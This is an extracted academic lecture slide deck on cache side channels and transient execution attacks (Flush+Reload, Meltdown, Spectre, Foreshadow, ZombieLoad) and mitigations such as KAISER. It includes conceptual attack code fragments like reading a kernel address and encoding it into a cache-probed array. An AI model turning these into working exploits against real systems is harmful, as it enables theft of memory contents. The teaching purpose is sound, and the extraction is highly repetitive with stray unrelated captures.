Side Channels and Transient Execution Attacks

Daniel Gruss
December 11, 2019

Graz University of Technology
FANTASTIC TIMERS

AND WHERE TO FIND THEM

HIGH-RESOLUTION MICROARCHITECTURAL ATTACKS IN JAVASCRIPT
side channel
= obtaining meta-data and deriving secrets from it
Side Channel or not?

- Profiling cache utilization with performance counters?
  - No

- Observing cache utilization with performance counters and using it to infer a crypto key?
  - Yes

- Measuring memory access latency with Flush+Reload?
  - No

- Measuring memory access latency with Flush+Reload and using it to infer keystroke timings?
  - Yes
• Profiling cache utilization with performance counters?
• Profiling cache utilization with performance counters? → No
• Profiling cache utilization with performance counters? → No
• Observing cache utilization with performance counters and using it to infer a crypto key?
• Profiling cache utilization with performance counters? → No
• Observing cache utilization with performance counters and using it to infer a crypto key? → Yes
Side Channel or not?

- Profiling cache utilization with performance counters? → No
- Observing cache utilization with performance counters and using it to infer a crypto key? → Yes
- Measuring memory access latency with Flush+Reload?
Side Channel or not?

- Profiling cache utilization with performance counters? → No
- Observing cache utilization with performance counters and using it to infer a crypto key? → Yes
- Measuring memory access latency with Flush+Reload? → No
• Profiling cache utilization with performance counters? → No
• Observing cache utilization with performance counters and using it to infer a crypto key? → Yes
• Measuring memory access latency with Flush+Reload? → No
• Measuring memory access latency with Flush+Reload and using it to infer keystroke timings?
Side Channel or not?

- Profiling cache utilization with performance counters? → No
- Observing cache utilization with performance counters and using it to infer a crypto key? → Yes
- Measuring memory access latency with Flush+Reload? → No
- Measuring memory access latency with Flush+Reload and using it to infer keystroke timings? → Yes
Speculative Side-Channel Attacks?

Let's avoid the term Speculative Side-Channel Attacks.
Speculative Side-Channel Attacks?

- traditional cache attacks (crypto, keys, etc)

side channels
Speculative Side-Channel Attacks?

- traditional cache attacks (crypto, keys, etc)
- actual misspeculation (e.g., branch misprediction)
Speculative Side-Channel Attacks?

- traditional cache attacks (crypto, keys, etc)
- actual misspeculation (e.g., branch misprediction)
- Meltdown, Foreshadow, ZombieLoad, etc
Speculative Side-Channel Attacks?

- traditional cache attacks (crypto, keys, etc)
- actual misspeculation (e.g., branch misprediction)
- Meltdown, Foreshadow, ZombieLoad, etc
Speculative Side-Channel Attacks?

- traditional cache attacks (crypto, keys, etc)
- actual misspeculation (e.g., branch misprediction)
- Meltdown, Foreshadow, ZombieLoad, etc

Let’s avoid the term Speculative Side-Channel Attacks
1337 4242

**FOOD CACHE**

*Revolutionary* concept!

Store your food at home, never go to the grocery store during cooking.

Can store **ALL** kinds of food.

**ONLY TODAY INSTEAD OF $1,300**

$1,299

ORDER VIA PHONE: +555 12345
printf("%d", i);
printf("%d", i);
CPU Cache

Cache miss

```
    printf("%d", i);
    printf("%d", i);
```
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);

Cache miss
Request
Response

Daniel Gruss — Graz University of Technology
printf("%d", i);
printf("%d", i);

Cache miss
Cache hit

Request
Response
CPU Cache

DRAM access, slow

printf("%d", i);
printf("%d", i);

Cache hit
DRAM access,
slow

Cache miss

Request
Response

Daniel Gruss — Graz University of Technology
CPU Cache

printf("%d", i);

Cache miss

DRAM access,
slow

Cache hit

No DRAM access,
much faster

i

printf("%d", i);

Request
Response

Daniel Gruss — Graz University of Technology
Flush+Reload

ATTACKER

flush
access

Shared Memory

VICTIM

access
Flush+Reload

ATTKCKER

flush
access

Shared Memory

cached

VICTIM

access

Shared Memory
cached
Flush+Reload

ATTACKER

flush

access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER

flush
access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER

flush
access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER

```plaintext
flush
access
```

VICTIM

```
access
```

Shared Memory

Victim accessed vs Victim did not access
• use pseudo-serializing instruction `rdtscp` (recent CPUs)
- use pseudo-serializing instruction `rdtscp` (recent CPUs)
- and/or use serializing instructions like `cpuid`
• use pseudo-serializing instruction `rdtscp` (recent CPUs)
• and/or use serializing instructions like `cpuid`
• and/or use fences like `mfence`
Accurate Microarchitecture Timing

- use pseudo-serializing instruction rdtscp (recent CPUs)
- and/or use serializing instructions like cpuid
- and/or use fences like mfence

Intel, *How to Benchmark Code Execution Times on Intel IA-32 and IA-64 Instruction Set Architectures*  
Intel Publishes Microcode Security Patches, No Benchmarking Or Comparison Allowed!

UPDATE: Intel has resolved their microcode licensing issue which I complained about in this blog post. The new license text is here.
Memory Access Latency

[Graph showing the number of accesses as a function of access time in CPU cycles. The x-axis represents access time from 50 to 400 CPU cycles, and the y-axis represents the number of accesses on a logarithmic scale from 10^1 to 10^7. The graph indicates a distribution of cache hits.]
Memory Access Latency

Access time [CPU cycles]

Number of accesses

Cache Hits

Cache Misses

Daniel Gruss — Graz University of Technology
• We can build our own timer [Lip+16; Sch+17]
• We can build our own timer [Lip+16; Sch+17]
• Start a thread that continuously increments a global variable
We can build our own timer [Lip+16; Sch+17]
Start a thread that continuously increments a global variable
The global variable is our timestamp
ARE YOU REALLY EXPECTING TO OUTPERFORM THE HARDWARE COUNTER?
CPU cycles one increment takes

\texttt{rdtsc} \hspace{1cm} 3 \hspace{1cm} 1 \texttt{timestamp} = \texttt{rdtsc}();
Self-built Timer

CPU cycles one increment takes

```
while (1) {
    timestamp++;
}
```
CPU cycles one increment takes

```
while (1) {
    timestamp++;
}
```
Self-built Timer

CPU cycles one increment takes

```c
while (1) {
    timestamp++;
}
```
Self-built Timer

CPU cycles one increment takes

\texttt{rdtsc} \hspace{1cm} 3

\texttt{C} \hspace{1cm} 4.7

Assembly

\begin{verbatim}
1 mov \&timestamp, %rcx
2 1: incl (%rcx)
3 jmp 1b
\end{verbatim}
Self-built Timer

CPU cycles one increment takes

rdtsc 3
C 4.7
Assembly 4.67

1 mov &timestamp, %rcx
2 1: incl (%rcx)
3 jmp 1b
CPU cycles one increment takes

- rdtsc: 3 cycles
- CPU: 4.7 cycles
- Assembly: 4.67 cycles

Optimized Assembly:

1. `mov &timestamp, %rcx`
2. `1: incl (%rcx)`
3. `jmp 1b`
CPU cycles one increment takes

**rdtsc** 3

**C** 4.7

**Assembly** 4.67

1. mov &timestamp, %rcx
2. 1: inc %rax
3. mov %rax, (%rcx)
4. jmp 1b

Daniel Gruss — Graz University of Technology
### CPU cycles one increment takes

<table>
<thead>
<tr>
<th>Method</th>
<th>Time (s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>rdtsc</td>
<td>3</td>
</tr>
<tr>
<td>C</td>
<td>4.7</td>
</tr>
<tr>
<td>Assembly</td>
<td>4.67</td>
</tr>
<tr>
<td>Optimized</td>
<td>0.87</td>
</tr>
</tbody>
</table>

1. `mov &timestamp, %rcx`
2. `inc %rax`
3. `mov %rax, (%rcx)`
4. `jmp 1b`
## Cache Template

### Key

| g | h | i | j | k | l | m | n | o | p | q | r | s | t | u | v | w | x | y | z |
| 0x7c680 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7c6c0 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7c700 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7c740 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7c780 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7c7c0 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7c800 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7c840 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7c880 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7c8c0 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7c900 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7c940 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7c980 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7c9c0 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7ca00 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7cb80 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7cc40 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7cc80 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7ccc0 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 0x7cd00 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
Hello from the other side (DEMO):
Video streaming over cache covert channel
Protection from Side-Channel Attacks

Intel SGX does not provide explicit protection from side-channel attacks. It is the enclave developer’s responsibility to address side-channel attack concerns.
Protection from Side-Channel Attacks
Protection from Side-Channel Attacks

Intel SGX does not provide explicit protection from side-channel attacks.
Protection from Side-Channel Attacks

Intel SGX does not provide explicit protection from side-channel attacks. It is the enclave developer’s responsibility to address side-channel attack concerns.
CAN'T BREAK YOUR SIDE-CHANNEL PROTECTIONS

IF YOU DON'T HAVE ANY
- Ledger SGX Enclave for blockchain applications
- BitPay Copay Bitcoin wallet
- Teechain payment channel using SGX
SGX Wallets

- Ledger SGX Enclave for blockchain applications
- BitPay Copay Bitcoin wallet
- Teechain payment channel using SGX

**Teechain**

[... ] We assume the TEE guarantees to hold
SGX Wallets

- Ledger SGX Enclave for blockchain applications
- BitPay Copay Bitcoin wallet
- Teechain payment channel using SGX

**Teechain**

[...] We assume the TEE guarantees to hold and do not consider side-channel attacks [5, 35, 46] on the TEE.
SGX Wallets

- Ledger SGX Enclave for blockchain applications
- BitPay Copay Bitcoin wallet
- Teechain payment channel using SGX

**Teechain**

[...] We assume the TEE guarantees to hold and do not consider side-channel attacks [5, 35, 46] on the TEE. Such attacks and their mitigations [36, 43] are outside the scope of this work. [...]
Attacking a weak RSA implementation inside SGX

Raw Prime+Probe trace...¹

...processed with a simple moving average...²

Attacking a weak RSA implementation inside SGX

...allows to clearly see the bits of the exponent\(^3\)

YOU CAN'T DO THAT!

THAT'S AGAINST THE RULES!
Back to Work
7. Serve with cooked and peeled potatoes
Wait for an hour
Wait for an hour
1. Wash and cut vegetables

2. Pick the basil leaves and set aside

3. Heat 2 tablespoons of oil in a pan

4. Fry vegetables until golden and softened
1. Wash and cut vegetables
2. Pick the basil leaves and set aside
3. Heat 2 tablespoons of oil in a pan
4. Fry vegetables until golden and softened
int width = 10, height = 5;

float diagonal = sqrt(width * width + height * height);
int area = width * height;

printf("Area %d x %d = %d\n", width, height, area);
int width = 10, height = 5;

float diagonal = sqrt(width * width + height * height);

int area = width * height;

printf("Area %d x %d = %d\n", width, height, area);
*(volatile char*) 0;
array [84 * 4096] = 0;
• Flush+Reload over all pages of the array

![Access time graph]

Unreachable code line was actually executed
Exception was only thrown afterwards
• Flush+Reload over all pages of the array

• “Unreachable” code line was actually executed
• Flush+Reload over all pages of the array

• “Unreachable” code line was actually executed
• Exception was only thrown afterwards
Out-of-order instructions leave microarchitectural traces
• Out-of-order instructions leave microarchitectural traces
  • We can see them for example through the cache
Out-of-order instructions leave microarchitectural traces

- We can see them for example through the cache
- Give such instructions a name: transient instructions
Out-of-order instructions leave microarchitectural traces
  - We can see them for example through the cache
  - Give such instructions a name: transient instructions
  - We can indirectly observe the execution of transient instructions
• Add another *layer of indirection* to test

```c
char data = *(char*) 0xffffffff81a000e0;
array[data * 4096] = 0;
```
• Add another *layer of indirection* to test

```c
char data = *(char*) 0xffffffff81a000e0;
array[data * 4096] = 0;
```

• Then check whether any part of array is *cached*
• Flush+Reload over all pages of the array

• Index of cache hit reveals data
Building Meltdown

- Flush+Reload over all pages of the array

- Index of cache hit reveals data
- Permission check is in some cases not fast enough
I SHIT YOU NOT
THERE WAS KERNEL MEMORY ALL
OVER THE TERMINAL
mschwarz@lab06:~/Documents$
attacker@meltdown ~/exploit %

victim@meltdown ~ %
Kernel Address Isolation to have Side channels Efficiently Removed
Kernel Address Isolation to have Side channels Efficiently Removed
Without KAISER:

Shared address space

User memory

Kernel memory

context switch

With KAISER:

User address space

User memory

Not mapped

Kernel address space

SMAP + SMEP

Kernel memory

context switch

Interrupt

dispatcher
Without KAISER:

Shared address space

User memory

Kernel memory

context switch

With KAISER:

User address space

User memory

Not mapped

Kernel address space

SMAP + SMEP

Interrupt dispatcher

context switch

addr. space

addr. space
KAISER (Stronger Kernel Isolation) Patches

Adopted in Linux
Adopted in Windows
Adopted in OSX/iOS

now in every computer

Daniel Gruss — Graz University of Technology
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
Our patch
Adopted in Linux

Adopted in Windows

Daniel Gruss — Graz University of Technology
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
- Adopted in Windows
- Adopted in OSX/iOS

Daniel Gruss — Graz University of Technology
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
- Adopted in Windows
- Adopted in OSX/iOS

→ now in every computer
»A table for 6 please«
Speculative Cooking
»A table for 6 please«
index = 0;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0
index = 0;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0
index = 0;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
Speculate
Prediction
0
index = 0;

char* data = "textKEY";

if (index < 4) {
  LUT[data[index] * 4096];
}
else
  0
index = 1;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0

Prediction
LUT

index = 1;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

0
index = 1;

char* data = "textKEY";

if (index < 4)
    Speculate
    LUT[data[index] * 4096]
else
    Prediction
    0
index = 1;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
index = 2;

char* data = "textKEY";

if (index < 4)
then
    LUT[data[index] * 4096]
else
    0
index = 2;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0
index = 2;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]
index = 2;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0
index = 3;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

0

Prediction
index = 3;

char* data = "textKEY";

if (index < 4)
then

LUT[data[index] * 4096]

else
0

Prediction
index = 3;

char* data = "textKEY";

if (index < 4)

Speculate

then

LUT[data[index] * 4096]

else

Prediction

0
index = 3;

char* data = "textKEY";

if (index < 4)

then

else

Prediction

LUT[data[index] * 4096]

0
index = 4;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0
```c
int index = 4;
char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
```

Diagram:
- LUT
- Index: $\text{index} = 4$
- Data: $\text{data} = \text{"textKEY"}$
- Branch if $\text{index} < 4$
- Branch condition: Prediction
index = 4;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0
index = 4;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0

Prediction

Execute
index = 5;

char* data = "textKEY";

if (index < 4)
then

LUT[data[index] * 4096]

else

0

Prediction
index = 5;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
Prediction

0
index = 5;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0
index = 5;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

0
index = 6;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

0
index = 6;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0
index = 6;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

0
index = 6;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
Animal* a = bird;

a->move()

fly()

swim()

swim()

Prediction

LUT[data[a->m] * 4096] 0
Animal* a = bird;

a->move()

fly()

swim()

LUT[data[a->m] * 4096]

swim()

Prediction

Speculate

0
Animal* a = bird;

a->move()

fly()

LUT[data[a->m] * 4096] 0

swim()

swim()

Prediction
Animal* a = bird;

LUT[data[a->m] * 4096]
Animal* a = bird;

a->move()

fly()

fly()

swim()

LUT[data[a->m] * 4096]
Animal* a = bird;

LUT[data[a->m] * 4096]
Animal* a = bird;

a->move()

fly()

fly()

swim()

Prediction

LUT[data[a->m] * 4096] 0
Animal* a = fish;

a->move();

fly()

fly()

swim()

LUT[data[a->m] * 4096]

0
Animal* a = fish;

a->move()
Animal* a = fish;

a->move()

fly()

fly()

swim()

Prediction

LUT[data[a->m] * 4096] 0
Animal* a = fish;

a->move()

fly()  
fly()  
swim()

LUT[data[a->m] * 4096]

0
Animal* a = fish;

a->move()

fly()  
swim()  
swim()  
Prediction

LUT[data[a->m] * 4096]
same address space/
in place

Victim

branch
Spectre Mistraining

same address space/
out of place

Congruent
branch

Address
collision

same address space/
in place

Victim
branch

Victim
Spectre Mistraining

same address space/
out of place

Congruent
branch

Address
collision

same address space/
in place

Victim
branch

Shared Branch Prediction State
Spectre Mistraining

Victim

same address space/
out of place

Congruent
branch

Address
collision

same address space/
in place

Victim
branch

Attacker

Shared Branch Prediction State

Daniel Gruss — Graz University of Technology
Spectre Mistraining

Victim

Congruent branch

Address collision

Victim branch

Attacker

Shadow branch

Shared Branch Prediction State

same address space/
out of place

same address space/
in place

cross address space/
in place

Daniel Gruss — Graz University of Technology
Spectre Mistraining

same address space/
out of place

same address space/
in place

Victim

Congruent branch

Address collision

Victim branch

Attacker

Congruent branch

Address collision

Shadow branch

Shared Branch Prediction State

Daniel Gruss — Graz University of Technology
Transient cause?
Spectre Variants

- Spectre-type prediction
- Transient cause?
Spectre Variants

Transient cause?

microarchitectural buffer

Spectre-type

Spectre-PHT

Spectre-BTB

Spectre-RSB

Spectre-STL
Spectre Variants

- Spectre-PHT
- Spectre-BTB
- Spectre-RSB
- Spectre-STL

Microarchitectural buffer

Transient cause?

Prediction

Mistraining strategy

- Cross-address-space
- Same-address-space
Spectre Variants

- Spectre-PHT
- Spectre-BTB
- Spectre-RSB
- Spectre-STL

microarchitectural buffer

Transient cause?

40

Daniel Gruss — Graz University of Technology
Pagefault
Meltdown Variants

Pagefault → Meltdown-US
Meltdown Variants

- Pagefault
  - Meltdown-US
  - Meltdown-P
Meltdown Variants

- Pagefault
  - Meltdown-US
  - Meltdown-P
  - Meltdown-RW
Meltdown Variants

- Pagefault
- Meltdown-US
- Meltdown-P
- Meltdown-RW
- Meltdown-PK
Meltdown Variants

Pagefault

- Meltdown-US
- Meltdown-P
- Meltdown-RW
- Meltdown-PK

  - Meltdown-XD
  - Meltdown-SM
Transient cause?
Meltdown Tree

Transient cause?

Meltdown-type
Meltdown Tree
Meltdown Tree

Transient cause?

Meltdown-type

Meltdown-NM

Meltdown-AC

Meltdown-DE

Meltdown-PF

Meltdown-UD

Meltdown-SS

Meltdown-BR

Meltdown-GP

Meltdown-US

Meltdown-P

Meltdown-RW

Meltdown-PK

Meltdown-XD

Meltdown-SM
Meltdown Tree

- Transient cause?
- Meltdown-type
  - Meltdown-NM
  - Meltdown-AC
  - Meltdown-DE
  - Meltdown-PF
  - Meltdown-UD
  - Meltdown-SS
  - Meltdown-BR
  - Meltdown-GP
- Fault
  - Meltdown-US
  - Meltdown-P
  - Meltdown-RW
  - Meltdown-PK
  - Meltdown-XD
  - Meltdown-SM
  - Meltdown-MPX
  - Meltdown-BND

Daniel Gruss — Graz University of Technology
Mitigations?
BLOCKCHAIN
Computer Architecture Today

Informing the broad computing community about current activities, advances and future directions in computer architecture.

Let’s Keep it to Ourselves: Don’t Disclose Vulnerabilities

by Gus Uht on Jan 31, 2019 | Tags: Opinion, Security
Table 1: Spectre-type defenses and what they mitigate.

<table>
<thead>
<tr>
<th>Attack</th>
<th>Defense</th>
<th>InvisSpec</th>
<th>SafeSpec</th>
<th>DAWG</th>
<th>Retpoline</th>
<th>Poison Value</th>
<th>Index Masking</th>
<th>Site Isolation</th>
<th>SLH</th>
<th>YSNB</th>
<th>IBRS</th>
<th>STIPB</th>
<th>IBPB</th>
<th>Serialization</th>
<th>Taint Tracking</th>
<th>Timer Reduction</th>
<th>SBD/SSBD</th>
</tr>
</thead>
<tbody>
<tr>
<td>Spectre-PHT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-BTB</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-RSB</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-STL</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Symbols show if an attack is mitigated (●), partially mitigated (○), not mitigated (☐), theoretically mitigated (■), theoretically impeded (□), not theoretically impeded (□), or out of scope (◇).
**Table 2:** Reported performance impacts of countermeasures

<table>
<thead>
<tr>
<th>Defense</th>
<th>Impact</th>
<th>Performance Loss</th>
<th>Benchmark</th>
</tr>
</thead>
<tbody>
<tr>
<td>InvisiSpec</td>
<td>22%</td>
<td>SPEC</td>
<td></td>
</tr>
<tr>
<td>SafeSpec</td>
<td>3% (improvement)</td>
<td>SPEC2017 on MARSSx86</td>
<td></td>
</tr>
<tr>
<td>DAWG</td>
<td>2–12%, 1–15%</td>
<td>PARSEC, GAPBS</td>
<td></td>
</tr>
<tr>
<td>RSB Stuffing</td>
<td>no reports</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Retpoline</td>
<td>5–10%</td>
<td>real-world workload servers</td>
<td></td>
</tr>
<tr>
<td>Site Isolation</td>
<td>only memory overhead</td>
<td></td>
<td></td>
</tr>
<tr>
<td>SLH</td>
<td>36.4%, 29%</td>
<td>Google microbenchmark suite</td>
<td></td>
</tr>
<tr>
<td>YSNB</td>
<td>60%</td>
<td>Phoenix</td>
<td></td>
</tr>
<tr>
<td>IBRS</td>
<td>20–30%</td>
<td>two sysbench 1.0.11 benchmarks</td>
<td></td>
</tr>
<tr>
<td>STIPB</td>
<td>30–50%</td>
<td>Rodinia OpenMP, DaCapo</td>
<td></td>
</tr>
<tr>
<td>IBPB</td>
<td>no individual reports</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Serialization</td>
<td>62%, 74.8%</td>
<td>Google microbenchmark suite</td>
<td></td>
</tr>
<tr>
<td>SSBD/SSBB</td>
<td>2–8%</td>
<td>SYSmrk©2014 SE &amp; SPEC integer</td>
<td></td>
</tr>
<tr>
<td>KAISER/KPTI</td>
<td>0–2.6%</td>
<td>system call rates</td>
<td></td>
</tr>
<tr>
<td>L1TF mitigations</td>
<td>-3–31%</td>
<td>various SPEC</td>
<td></td>
</tr>
</tbody>
</table>
FINALLY THE RIGHT SPEED FOR ME
How to find the next big thing ;}
29. **Zombieland: Double Tap** (2019)
Action, Comedy, Horror | Post-production
Columbus, Tallahassee, Wichita, and Little Rock move to the American heartland as they face off against evolved zombies, fellow survivors, and the growing pains of the snarky makeshift family.
Director: Ruben Fleischer | Stars: Emma Stone, Zoey Deutch, Woody Harrelson, Abigail Breslin

30. **Love, Death & Robots** (2019–)
TV-MA | 15 min | Animation, Short, Comedy
8.7 Rate this
A collection of animated short stories that span various genres including science fiction, fantasy, horror and comedy.
Stars: Scott Whyte, Nolan North, Matthew Yang King, Michael Benyaer
Votes: 56,780

31. **iZombie** (2015–)
TV-14 | 42 min | Comedy, Crime, Drama
7.9 Rate this
A medical resident finds that being a zombie has its perks, which she uses to assist the police.
Stars: Rose McIver, Malcolm Goodwin, Rahul Kohli, Robert Buckley
Votes: 54,215
ZOMBIELOAD ATTACK
When the kernel address is loaded in line 4, it is likely that the CPU already issued the subsequent instructions as part of the out-of-order execution, and that their corresponding μOPs wait in the reservation station for the content of the kernel address to arrive. As soon as the
Toshiba Boot Error - TechRepublic
https://www.techrepublic.com/.../toshb-boot-error/  ▾ Diese Seite übersetzen
19.05.2007 - by CaptBilly1Eye  12 years ago In reply to Toshiba Boot Error ... partition on the floppy disk, hard drive or a CD ROM to load the operating system. ... prior to this situation starting to occur, or if you find that the boot sequence already has the ... Leave the notebook plugged in and undisturbed until completed.

US5751983A - Out-of-order processor with a memory ...
www.google.com/patents/US5751983 - Diese Seite übersetzen
Application filed by Intel Corp ... Hence, a functional unit may often complete a first instruction (which logically precedes a second instruction in the ...... If a fault occurs with respect to the LOAD operation, it is marked as valid and completed.
Meltdown

Execution Engine

Reorder buffer

Scheduler

Execution Units

Execution Units

ALU, AES, ...

ALU, FMA, ...

ALU, Vect, ...

ALU, Branch

Load data

Load data

Store data

AGU

Memory Subsystem

Load Buffer

Store Buffer

L1 Data Cache

DTLB

LFB

STLB

L2 Cache

L3 Cache

DRAM

CDB
...mov al, byte [rcx]...

Meltdown

Execution Engine

Scheduler

Reorder buffer

OP

Execution Units

ALU, AES, ...

ALU, FMA, ...

ALU, Vect, ...

ALU, Branch

Load data

Store data

AGU

CDB

Load Buffer

Store Buffer

Memory Subsystem

L1 Data Cache

DTLB

LFB

STLB

L2 Cache

L3 Cache

DRAM

Physical Page Number

Ignored

X

Nope! STOP EVERYTHING!!!
...mov al, byte [rcx]...

Meltdown

CDB

Reorder buffer

Scheduler

Execution Engine

Execution Units

ALU, AES, ...

ALU, FMA, ...

ALU, Vect, ...

ALU, Branch

Load data

Load data

Load data

Store data

AGU

Load Buffer

Store Buffer

L1 Data Cache

DTLB

LFB

STLB

L2 Cache

L3 Cache

DRAM
Meltdown

www.tugraz.at

Execution Engine

Reorder buffer

Scheduler

Execution Units

{ALU, AES, ...} → {OP, OP, OP, OP, OP, OP, OP, OP}

Memory Subsystem

CDB

Load Buffer → Store Buffer

L1 Data Cache

DTLB

LFB

STLB

L2 Cache

L3 Cache

DRAM

... mov al, byte [rcx] ...

Nope! STOP EVERYTHING!!
...mov al, byte [rcx]...

Execution Engine
- Scheduler
- Execution Units
  - ALU, AES, ...
  - ALU, FMA, ...
  - ALU, Vect, ...
  - ALU, Branch

Memory Subsystem
- L1 Data Cache
- DTLB
- LFB
- L2 Cache
- STLB
- L3 Cache
- DRAM

Nope! STOP EVERYTHING!!
... mov al, byte [rcx] ...

Meltdown

Execution Engine
- Scheduler
  - Execution Units
    - ALU, AES, ...
    - ALU, FMA, ...
    - ALU, Vect, ...
    - ALU, Branch

Memory Subsystem
- Load Buffer
  - Store Buffer
    - L1 Data Cache
      - DTLB
        - LFB
          - L2 Cache
            - L3 Cache
              - DRAM
Meltdown

Execution Engine

Scheduler

Execution Units

ALU, AES, ... ALU, FMA, ... ALU, Vect, ... ALU, Branch

Load data

Store data

Execution Engine

Reorder buffer

mov al, byte [rcx]

Memor Subsystem

Load Buffer

Store Buffer

L1 Data Cache

DTLB

STLB

L2 Cache

LFB

L3 Cache

DRAM

Nope! STOP EVERYTHING!!

Physical Page Number

Ignored

Physical Page Number

Ignored

Physical Page Number

Ignored
Meltdown

```
mov al, byte [rcx]
...```
Meltdown

```
... mov al, byte [rcx] ...
```
...mov al, byte [rcx]...
Meltdown

Execution Engine

Reorder buffer

Scheduler

ALU, AES, ...
ALU, FMA, ...
ALU, Vect, ...
ALU, Branch
Load data
Load data
Store data
AGU

Execution Units

Data can go to register

Load Buffer
Store Buffer

L1 Data Cache

DTLB
LFB

L2 Cache

STLB

L3 Cache

DRAM

Physical Page Number

P RW US WT UC R D S G Ignored

Nope! STOP EVERYTHING!!!

data can goto register

...mov al, byte [rcx]...
... mov al, byte [rcx] ...

Foreshadow-VMM

CDB

Execution Engine

Scheduler

Execution Units

Execution Units

Execution Units

Load Buffer

Store Buffer

L1 Data Cache

DTLB

LFB

STLB

L2 Cache

L3 Cache

DRAM
mov al, byte [rcx]

...
...mov al, byte [rcx]...
mov al, byte [rcx]

...
...mov al, byte [rcx]...

Foreshadow-VMM

Execution Engine

Scheduler

Execution Units

ALU, AES, ... ALU, FMA, ... ALU, Vect, ... ALU, Branch

Load data

Store data

AGU

Memory Subsystem

CDB

Load Buffer

Store Buffer

L1 Data Cache

DTLB

LFB

STLB

L2 Cache

L3 Cache

DRAM
...mov al, byte [rcx]...

Foreshadow-VMM

CDB

Reorder buffer

Scheduler

Execution Units

ALU, AES, ...

ALU, FMA, ...

ALU, Vect, ...

ALU, Branch

Load data

Load data

Store data

AGU

Load Buffer

Store Buffer

L1 Data Cache

DTLB

LFB

STLB

L2 Cache

L3 Cache

DRAM

Memory Subsystem

Execution Engine

@OP

@OP

@OP

@OP

@OP

@OP

@OP

@OP

@OP

@OP

...
mov al, byte [rcx]
mov al, byte [rcx]

...
...mov al, byte [rcx]...

### Memory Subsystem
- **CDB**
- **L1 Data Cache**
- **DTLB**
- **LFB**
- **STLB**
- **L2 Cache**
- **L3 Cache**
- **DRAM**

### Execution Engine
- **Scheduler**
- **Execution Units**
- **AGU**
- **ALU, AES, ...**
- **ALU, FMA, ...**
- **ALU, Vect, ...**
